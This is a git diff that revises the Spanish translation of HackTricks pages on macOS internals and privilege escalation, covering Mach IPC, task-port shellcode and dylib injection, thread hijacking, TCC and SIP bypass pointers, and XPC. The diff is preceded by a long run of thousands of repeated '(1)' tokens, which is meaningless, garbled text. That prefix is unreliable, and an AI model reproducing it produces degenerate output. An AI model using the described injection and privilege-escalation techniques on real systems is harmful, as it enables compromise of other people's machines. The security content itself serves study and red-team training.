(1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/README.md
index 6951eb408..bd21d24f6 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/README.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/README.md
@@ -6,7 +6,8 @@
Si no estás familiarizado con macOS, deberías comenzar a aprender los conceptos básicos de macOS:
-- Archivos y **permisos especiales de macOS:**
+- **Archivos y permisos especiales de macOS:**
+
{{#ref}}
macos-files-folders-and-binaries/
@@ -14,23 +15,27 @@ macos-files-folders-and-binaries/
- **Usuarios comunes de macOS**
+
{{#ref}}
macos-users.md
{{#endref}}
- **AppleFS**
+
{{#ref}}
macos-applefs.md
{{#endref}}
-- La **arquitectura** del k**ernel**
+- La **arquitectura** del **kernel**
+
{{#ref}}
mac-os-architecture/
{{#endref}}
-- Servicios y **protocolos de red comunes de macOS**
+- **Servicios y protocolos de red** comunes de macOS
+
{{#ref}}
macos-protocols.md
@@ -43,18 +48,21 @@ macos-protocols.md
En las empresas, los sistemas **macOS** probablemente serán **gestionados con un MDM**. Por lo tanto, desde la perspectiva de un atacante, es interesante saber **cómo funciona eso**:
+
{{#ref}}
../macos-red-teaming/macos-mdm/
{{#endref}}
### MacOS - Inspección, Depuración y Fuzzing
+
{{#ref}}
macos-apps-inspecting-debugging-and-fuzzing/
{{#endref}}
## Protecciones de Seguridad de MacOS
+
{{#ref}}
macos-security-protections/
{{#endref}}
@@ -75,13 +83,15 @@ Poder **crear un archivo** que va a ser **utilizado por root**, permite a un usu
Para este tipo de vulnerabilidades, no olvides **verificar instaladores `.pkg` vulnerables**:
+
{{#ref}}
macos-files-folders-and-binaries/macos-installers-abuse.md
{{#endref}}
-### Manejadores de Extensiones de Archivos y Esquemas de URL
+### Controladores de Aplicaciones de Extensión de Archivo y Esquema de URL
+
+Aplicaciones extrañas registradas por extensiones de archivo podrían ser abusadas y diferentes aplicaciones pueden registrarse para abrir protocolos específicos
-Aplicaciones extrañas registradas por extensiones de archivo podrían ser abusadas y diferentes aplicaciones pueden registrarse para abrir protocolos específicos.
{{#ref}}
macos-file-extension-apps.md
@@ -89,11 +99,11 @@ macos-file-extension-apps.md
## Escalación de Privilegios TCC / SIP en macOS
-En macOS, **las aplicaciones y binarios pueden tener permisos** para acceder a carpetas o configuraciones que los hacen más privilegiados que otros.
+En macOS, **las aplicaciones y binarios pueden tener permisos** para acceder a carpetas o configuraciones que les otorgan más privilegios que a otros.
Por lo tanto, un atacante que quiera comprometer con éxito una máquina macOS necesitará **escalar sus privilegios TCC** (o incluso **eludir SIP**, dependiendo de sus necesidades).
-Estos privilegios generalmente se otorgan en forma de **derechos** con los que la aplicación está firmada, o la aplicación podría solicitar algunos accesos y después de que el **usuario los apruebe**, pueden encontrarse en las **bases de datos TCC**. Otra forma en que un proceso puede obtener estos privilegios es siendo un **hijo de un proceso** con esos **privilegios**, ya que generalmente son **heredados**.
+Estos privilegios generalmente se otorgan en forma de **entitlements** con los que la aplicación está firmada, o la aplicación podría solicitar algunos accesos y después de que el **usuario los apruebe**, pueden encontrarse en las **bases de datos TCC**. Otra forma en que un proceso puede obtener estos privilegios es siendo un **hijo de un proceso** con esos **privilegios**, ya que generalmente son **heredados**.
Sigue estos enlaces para encontrar diferentes formas de [**escalar privilegios en TCC**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), para [**eludir TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html) y cómo en el pasado [**se ha eludido SIP**](macos-security-protections/macos-sip.md#sip-bypasses).
@@ -101,6 +111,7 @@ Sigue estos enlaces para encontrar diferentes formas de [**escalar privilegios e
Por supuesto, desde la perspectiva de un equipo rojo, también deberías estar interesado en escalar a root. Consulta la siguiente publicación para algunos consejos:
+
{{#ref}}
macos-privilege-escalation.md
{{#endref}}
@@ -111,7 +122,7 @@ macos-privilege-escalation.md
## Referencias
-- [**Respuesta a Incidentes de OS X: Scripting y Análisis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
+- [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
- [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
- [**https://github.com/NicolasGrimonpont/Cheatsheet**](https://github.com/NicolasGrimonpont/Cheatsheet)
- [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md
index bf04c441b..5297922e4 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md
@@ -1,10 +1,10 @@
-# Kernel de macOS y Extensiones del Sistema
+# macOS Kernel & System Extensions
{{#include ../../../banners/hacktricks-training.md}}
-## Kernel XNU
+## XNU Kernel
-El **núcleo de macOS es XNU**, que significa "X no es Unix". Este núcleo está fundamentalmente compuesto por el **microkernel Mach** (que se discutirá más adelante) **y** elementos de Berkeley Software Distribution (**BSD**). XNU también proporciona una plataforma para **controladores de núcleo a través de un sistema llamado I/O Kit**. El núcleo XNU es parte del proyecto de código abierto Darwin, lo que significa que **su código fuente es accesible de forma gratuita**.
+El **núcleo de macOS es XNU**, que significa "X no es Unix". Este núcleo está fundamentalmente compuesto por el **microkernel Mach** (que se discutirá más adelante) y elementos de Berkeley Software Distribution (**BSD**). XNU también proporciona una plataforma para **controladores de núcleo a través de un sistema llamado I/O Kit**. El núcleo XNU es parte del proyecto de código abierto Darwin, lo que significa que **su código fuente es accesible de forma gratuita**.
Desde la perspectiva de un investigador de seguridad o un desarrollador de Unix, **macOS** puede parecer bastante **similar** a un sistema **FreeBSD** con una GUI elegante y una serie de aplicaciones personalizadas. La mayoría de las aplicaciones desarrolladas para BSD se compilarán y ejecutarán en macOS sin necesidad de modificaciones, ya que las herramientas de línea de comandos familiares para los usuarios de Unix están presentes en macOS. Sin embargo, debido a que el núcleo XNU incorpora Mach, hay algunas diferencias significativas entre un sistema tradicional similar a Unix y macOS, y estas diferencias pueden causar problemas potenciales o proporcionar ventajas únicas.
@@ -27,13 +27,13 @@ El **núcleo** XNU también **incorpora** una cantidad significativa de código
- Pila TCP/IP y sockets
- Cortafuegos y filtrado de paquetes
-Entender la interacción entre BSD y Mach puede ser complejo, debido a sus diferentes marcos conceptuales. Por ejemplo, BSD utiliza procesos como su unidad fundamental de ejecución, mientras que Mach opera en función de hilos. Esta discrepancia se reconcilia en XNU **asociando cada proceso BSD con una tarea Mach** que contiene exactamente un hilo Mach. Cuando se utiliza la llamada al sistema fork() de BSD, el código BSD dentro del núcleo utiliza funciones Mach para crear una tarea y una estructura de hilo.
+Entender la interacción entre BSD y Mach puede ser complejo, debido a sus diferentes marcos conceptuales. Por ejemplo, BSD utiliza procesos como su unidad fundamental de ejecución, mientras que Mach opera en función de hilos. Esta discrepancia se reconcilia en XNU **asociando cada proceso BSD con una tarea Mach** que contiene exactamente un hilo Mach. Cuando se utiliza la llamada al sistema fork() de BSD, el código de BSD dentro del núcleo utiliza funciones de Mach para crear una tarea y una estructura de hilo.
-Además, **Mach y BSD mantienen diferentes modelos de seguridad**: el modelo de seguridad de **Mach** se basa en **derechos de puerto**, mientras que el modelo de seguridad de BSD opera en función de **la propiedad del proceso**. Las disparidades entre estos dos modelos han resultado ocasionalmente en vulnerabilidades de escalada de privilegios locales. Aparte de las llamadas al sistema típicas, también hay **trampas Mach que permiten a los programas en espacio de usuario interactuar con el núcleo**. Estos diferentes elementos juntos forman la arquitectura híbrida y multifacética del núcleo de macOS.
+Además, **Mach y BSD mantienen cada uno diferentes modelos de seguridad**: el modelo de seguridad de **Mach** se basa en **derechos de puerto**, mientras que el modelo de seguridad de BSD opera en función de **la propiedad del proceso**. Las disparidades entre estos dos modelos han resultado ocasionalmente en vulnerabilidades de escalada de privilegios locales. Aparte de las llamadas al sistema típicas, también hay **trampas de Mach que permiten a los programas en espacio de usuario interactuar con el núcleo**. Estos diferentes elementos juntos forman la arquitectura híbrida y multifacética del núcleo de macOS.
### I/O Kit - Controladores
-El I/O Kit es un marco de **controladores de dispositivos** orientado a objetos y de código abierto en el núcleo XNU, que maneja **controladores de dispositivos cargados dinámicamente**. Permite que se agregue código modular al núcleo sobre la marcha, soportando hardware diverso.
+El I/O Kit es un marco de **controladores de dispositivos** orientado a objetos y de código abierto en el núcleo XNU, que maneja **controladores de dispositivos cargados dinámicamente**. Permite que el código modular se agregue al núcleo sobre la marcha, soportando hardware diverso.
{{#ref}}
macos-iokit.md
@@ -45,9 +45,9 @@ macos-iokit.md
../macos-proces-abuse/macos-ipc-inter-process-communication/
{{#endref}}
-## Extensiones del Núcleo de macOS
+## macOS Kernel Extensions
-macOS es **super restrictivo para cargar Extensiones del Núcleo** (.kext) debido a los altos privilegios con los que se ejecutará el código. De hecho, por defecto es prácticamente imposible (a menos que se encuentre un bypass).
+macOS es **super restrictivo para cargar extensiones de núcleo** (.kext) debido a los altos privilegios con los que se ejecutará el código. De hecho, por defecto es prácticamente imposible (a menos que se encuentre un bypass).
En la siguiente página también puedes ver cómo recuperar el `.kext` que macOS carga dentro de su **kernelcache**:
@@ -55,15 +55,15 @@ En la siguiente página también puedes ver cómo recuperar el `.kext` que macOS
macos-kernel-extensions.md
{{#endref}}
-### Extensiones del Sistema de macOS
+### macOS System Extensions
-En lugar de usar Extensiones del Núcleo, macOS creó las Extensiones del Sistema, que ofrecen APIs a nivel de usuario para interactuar con el núcleo. De esta manera, los desarrolladores pueden evitar usar extensiones del núcleo.
+En lugar de usar extensiones de núcleo, macOS creó las extensiones del sistema, que ofrecen APIs a nivel de usuario para interactuar con el núcleo. De esta manera, los desarrolladores pueden evitar el uso de extensiones de núcleo.
{{#ref}}
macos-system-extensions.md
{{#endref}}
-## Referencias
+## References
- [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=)
- [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md
index 0adbb0eb2..107a2db68 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md
@@ -8,7 +8,7 @@
Mach utiliza **tareas** como la **unidad más pequeña** para compartir recursos, y cada tarea puede contener **múltiples hilos**. Estas **tareas e hilos están mapeados 1:1 a procesos y hilos POSIX**.
-La comunicación entre tareas ocurre a través de la Comunicación Inter-Procesos Mach (IPC), utilizando canales de comunicación unidireccionales. **Los mensajes se transfieren entre puertos**, que actúan como **colas de mensajes** gestionadas por el núcleo.
+La comunicación entre tareas ocurre a través de la Comunicación Inter-Procesos de Mach (IPC), utilizando canales de comunicación unidireccionales. **Los mensajes se transfieren entre puertos**, que actúan como **colas de mensajes** gestionadas por el núcleo.
Cada proceso tiene una **tabla IPC**, donde es posible encontrar los **puertos mach del proceso**. El nombre de un puerto mach es en realidad un número (un puntero al objeto del núcleo).
@@ -26,7 +26,7 @@ Los derechos de puerto, que definen qué operaciones puede realizar una tarea, s
- **Derecho de conjunto de puertos**, que denota un _conjunto de puertos_ en lugar de un solo puerto. Desencolar un mensaje de un conjunto de puertos desencola un mensaje de uno de los puertos que contiene. Los conjuntos de puertos se pueden usar para escuchar en varios puertos simultáneamente, muy parecido a `select`/`poll`/`epoll`/`kqueue` en Unix.
- **Nombre muerto**, que no es un derecho de puerto real, sino simplemente un marcador de posición. Cuando un puerto es destruido, todos los derechos de puerto existentes al puerto se convierten en nombres muertos.
-**Las tareas pueden transferir derechos de ENVÍO a otros**, permitiéndoles enviar mensajes de vuelta. **Los derechos de ENVÍO también pueden ser clonados, por lo que una tarea puede duplicar y dar el derecho a una tercera tarea**. Esto, combinado con un proceso intermediario conocido como el **servidor de arranque**, permite una comunicación efectiva entre tareas.
+**Las tareas pueden transferir derechos de ENVÍO a otras**, permitiéndoles enviar mensajes de vuelta. **Los derechos de ENVÍO también pueden ser clonados, por lo que una tarea puede duplicar y dar el derecho a una tercera tarea**. Esto, combinado con un proceso intermediario conocido como el **servidor de arranque**, permite una comunicación efectiva entre tareas.
### Puertos de Archivo
@@ -41,21 +41,21 @@ Como se menciona, para establecer el canal de comunicación, el **servidor de ar
1. La tarea **A** inicia un **nuevo puerto**, obteniendo un **derecho de RECEPCIÓN** en el proceso.
2. La tarea **A**, siendo la titular del derecho de RECEPCIÓN, **genera un derecho de ENVÍO para el puerto**.
3. La tarea **A** establece una **conexión** con el **servidor de arranque**, proporcionando el **nombre del servicio del puerto** y el **derecho de ENVÍO** a través de un procedimiento conocido como el registro de arranque.
-4. La tarea **B** interactúa con el **servidor de arranque** para ejecutar una búsqueda de arranque **para el nombre del servicio**. Si tiene éxito, el **servidor duplica el DERECHO DE ENVÍO** recibido de la tarea A y **lo transmite a la tarea B**.
+4. La tarea **B** interactúa con el **servidor de arranque** para ejecutar una búsqueda de arranque **para el nombre del servicio**. Si tiene éxito, el **servidor duplica el derecho de ENVÍO** recibido de la tarea A y **lo transmite a la tarea B**.
5. Al adquirir un derecho de ENVÍO, la tarea **B** es capaz de **formular** un **mensaje** y enviarlo **a la tarea A**.
-6. Para una comunicación bidireccional, generalmente la tarea **B** genera un nuevo puerto con un **DERECHO DE RECEPCIÓN** y un **DERECHO DE ENVÍO**, y otorga el **DERECHO DE ENVÍO a la tarea A** para que pueda enviar mensajes a la TAREA B (comunicación bidireccional).
+6. Para una comunicación bidireccional, generalmente la tarea **B** genera un nuevo puerto con un **derecho de RECEPCIÓN** y un **derecho de ENVÍO**, y otorga el **derecho de ENVÍO a la tarea A** para que pueda enviar mensajes a la TAREA B (comunicación bidireccional).
-El servidor de arranque **no puede autenticar** el nombre del servicio reclamado por una tarea. Esto significa que una **tarea** podría potencialmente **suplantar cualquier tarea del sistema**, como falsamente **reclamar un nombre de servicio de autorización** y luego aprobar cada solicitud.
+El servidor de arranque **no puede autenticar** el nombre del servicio reclamado por una tarea. Esto significa que una **tarea** podría potencialmente **suplantar cualquier tarea del sistema**, como falsamente **reclamando un nombre de servicio de autorización** y luego aprobando cada solicitud.
-Luego, Apple almacena los **nombres de los servicios proporcionados por el sistema** en archivos de configuración seguros, ubicados en directorios **protegidos por SIP**: `/System/Library/LaunchDaemons` y `/System/Library/LaunchAgents`. Junto a cada nombre de servicio, también se **almacena el binario asociado**. El servidor de arranque creará y mantendrá un **DERECHO DE RECEPCIÓN para cada uno de estos nombres de servicio**.
+Luego, Apple almacena los **nombres de los servicios proporcionados por el sistema** en archivos de configuración seguros, ubicados en directorios **protegidos por SIP**: `/System/Library/LaunchDaemons` y `/System/Library/LaunchAgents`. Junto a cada nombre de servicio, también se **almacena el binario asociado**. El servidor de arranque creará y mantendrá un **derecho de RECEPCIÓN para cada uno de estos nombres de servicio**.
Para estos servicios predefinidos, el **proceso de búsqueda difiere ligeramente**. Cuando se busca un nombre de servicio, launchd inicia el servicio dinámicamente. El nuevo flujo de trabajo es el siguiente:
- La tarea **B** inicia una búsqueda de arranque **para un nombre de servicio**.
- **launchd** verifica si la tarea está en ejecución y, si no lo está, **la inicia**.
-- La tarea **A** (el servicio) realiza un **registro de arranque**. Aquí, el **servidor de arranque** crea un derecho de ENVÍO, lo retiene y **transfiere el derecho de RECEPCIÓN a la tarea A**.
-- launchd duplica el **DERECHO DE ENVÍO y lo envía a la tarea B**.
-- La tarea **B** genera un nuevo puerto con un **DERECHO DE RECEPCIÓN** y un **DERECHO DE ENVÍO**, y otorga el **DERECHO DE ENVÍO a la tarea A** (el svc) para que pueda enviar mensajes a la TAREA B (comunicación bidireccional).
+- La tarea **A** (el servicio) realiza un **check-in de arranque**. Aquí, el **servidor de arranque** crea un derecho de ENVÍO, lo retiene y **transfiere el derecho de RECEPCIÓN a la tarea A**.
+- launchd duplica el **derecho de ENVÍO y lo envía a la tarea B**.
+- La tarea **B** genera un nuevo puerto con un **derecho de RECEPCIÓN** y un **derecho de ENVÍO**, y otorga el **derecho de ENVÍO a la tarea A** (el svc) para que pueda enviar mensajes a la TAREA B (comunicación bidireccional).
Sin embargo, este proceso solo se aplica a tareas del sistema predefinidas. Las tareas no del sistema aún operan como se describió originalmente, lo que podría permitir potencialmente la suplantación.
@@ -231,8 +231,8 @@ printf("Sent a message\n");
- **Puerto de privilegio de host**: Un proceso con derecho de **Enviar** sobre este puerto puede realizar **acciones privilegiadas** como cargar una extensión del kernel. El **proceso necesita ser root** para obtener este permiso.
- Además, para llamar a la API **`kext_request`** es necesario tener otros derechos **`com.apple.private.kext*`** que solo se otorgan a los binarios de Apple.
- **Puerto de nombre de tarea:** Una versión no privilegiada del _puerto de tarea_. Hace referencia a la tarea, pero no permite controlarla. Lo único que parece estar disponible a través de él es `task_info()`.
-- **Puerto de tarea** (también conocido como puerto del kernel)**:** Con permiso de Enviar sobre este puerto es posible controlar la tarea (leer/escribir memoria, crear hilos...).
-- Llama a `mach_task_self()` para **obtener el nombre** de este puerto para la tarea que llama. Este puerto solo se **hereda** a través de **`exec()`**; una nueva tarea creada con `fork()` obtiene un nuevo puerto de tarea (como un caso especial, una tarea también obtiene un nuevo puerto de tarea después de `exec()` en un binario suid). La única forma de generar una tarea y obtener su puerto es realizar el ["baile de intercambio de puertos"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) mientras se realiza un `fork()`.
+- **Puerto de tarea** (también conocido como puerto del kernel): Con permiso de Enviar sobre este puerto es posible controlar la tarea (leer/escribir memoria, crear hilos...).
+- Llama a `mach_task_self()` para **obtener el nombre** de este puerto para la tarea que llama. Este puerto solo se **hereda** a través de **`exec()`**; una nueva tarea creada con `fork()` obtiene un nuevo puerto de tarea (como caso especial, una tarea también obtiene un nuevo puerto de tarea después de `exec()` en un binario suid). La única forma de generar una tarea y obtener su puerto es realizar el ["baile de intercambio de puertos"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) mientras se realiza un `fork()`.
- Estas son las restricciones para acceder al puerto (de `macos_task_policy` del binario `AppleMobileFileIntegrity`):
- Si la aplicación tiene el derecho **`com.apple.security.get-task-allow`**, los procesos del **mismo usuario pueden acceder al puerto de tarea** (comúnmente agregado por Xcode para depuración). El proceso de **notarización** no lo permitirá en lanzamientos de producción.
- Las aplicaciones con el derecho **`com.apple.system-task-ports`** pueden obtener el **puerto de tarea para cualquier** proceso, excepto el kernel. En versiones anteriores se llamaba **`task_for_pid-allow`**. Esto solo se concede a aplicaciones de Apple.
@@ -242,6 +242,7 @@ printf("Sent a message\n");
Puedes obtener un shellcode de:
+
{{#ref}}
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
@@ -500,7 +501,7 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
```
### Inyección de Dylib en hilo a través del puerto de tarea
-En macOS, **los hilos** pueden ser manipulados a través de **Mach** o utilizando **la API posix `pthread`**. El hilo que generamos en la inyección anterior fue generado utilizando la API Mach, por lo que **no es compatible con posix**.
+En macOS, **los hilos** pueden ser manipulados a través de **Mach** o utilizando **la API posix `pthread`**. El hilo que generamos en la inyección anterior fue generado utilizando la API de Mach, por lo que **no es compatible con posix**.
Fue posible **inyectar un shellcode simple** para ejecutar un comando porque **no necesitaba trabajar con APIs** compatibles con posix, solo con Mach. **Inyecciones más complejas** necesitarían que el **hilo** también sea **compatible con posix**.
@@ -508,6 +509,7 @@ Por lo tanto, para **mejorar el hilo**, debería llamar a **`pthread_create_from
Puedes encontrar **dylibs de ejemplo** en (por ejemplo, el que genera un registro y luego puedes escucharlo):
+
{{#ref}}
../../macos-dyld-hijacking-and-dyld_insert_libraries.md
{{#endref}}
@@ -792,7 +794,8 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
```
### Secuestro de Hilo a través del puerto de Tarea
-En esta técnica, se secuestra un hilo del proceso:
+En esta técnica, un hilo del proceso es secuestrado:
+
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md
@@ -802,10 +805,11 @@ En esta técnica, se secuestra un hilo del proceso:
### Información Básica
-XPC, que significa XNU (el núcleo utilizado por macOS) inter-Process Communication, es un marco para **la comunicación entre procesos** en macOS e iOS. XPC proporciona un mecanismo para realizar **llamadas a métodos seguras y asíncronas entre diferentes procesos** en el sistema. Es parte del paradigma de seguridad de Apple, permitiendo la **creación de aplicaciones con privilegios separados** donde cada **componente** se ejecuta con **solo los permisos que necesita** para hacer su trabajo, limitando así el daño potencial de un proceso comprometido.
+XPC, que significa Comunicación Inter-Procesos de XNU (el núcleo utilizado por macOS), es un marco para **la comunicación entre procesos** en macOS e iOS. XPC proporciona un mecanismo para realizar **llamadas a métodos seguras y asíncronas entre diferentes procesos** en el sistema. Es parte del paradigma de seguridad de Apple, permitiendo la **creación de aplicaciones con separación de privilegios** donde cada **componente** se ejecuta con **solo los permisos que necesita** para hacer su trabajo, limitando así el daño potencial de un proceso comprometido.
Para más información sobre cómo funciona esta **comunicación** y cómo **podría ser vulnerable**, consulta:
+
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/
{{#endref}}
@@ -816,6 +820,7 @@ MIG fue creado para **simplificar el proceso de creación de código Mach IPC**.
Para más información, consulta:
+
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
{{#endref}}
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
index 154090682..7fde47014 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
@@ -97,7 +97,7 @@ Se montará en `/Volumes`
### Binarios empaquetados
- Verificar la alta entropía
-- Verificar las cadenas (si casi no hay cadenas comprensibles, empaquetadas)
+- Verificar las cadenas (si casi no hay cadenas comprensibles, empaquetado)
- El empaquetador UPX para MacOS genera una sección llamada "\_\_XHDR"
## Análisis estático de Objective-C
@@ -123,8 +123,8 @@ Cuando se llama a una función en un binario que utiliza Objective-C, el código
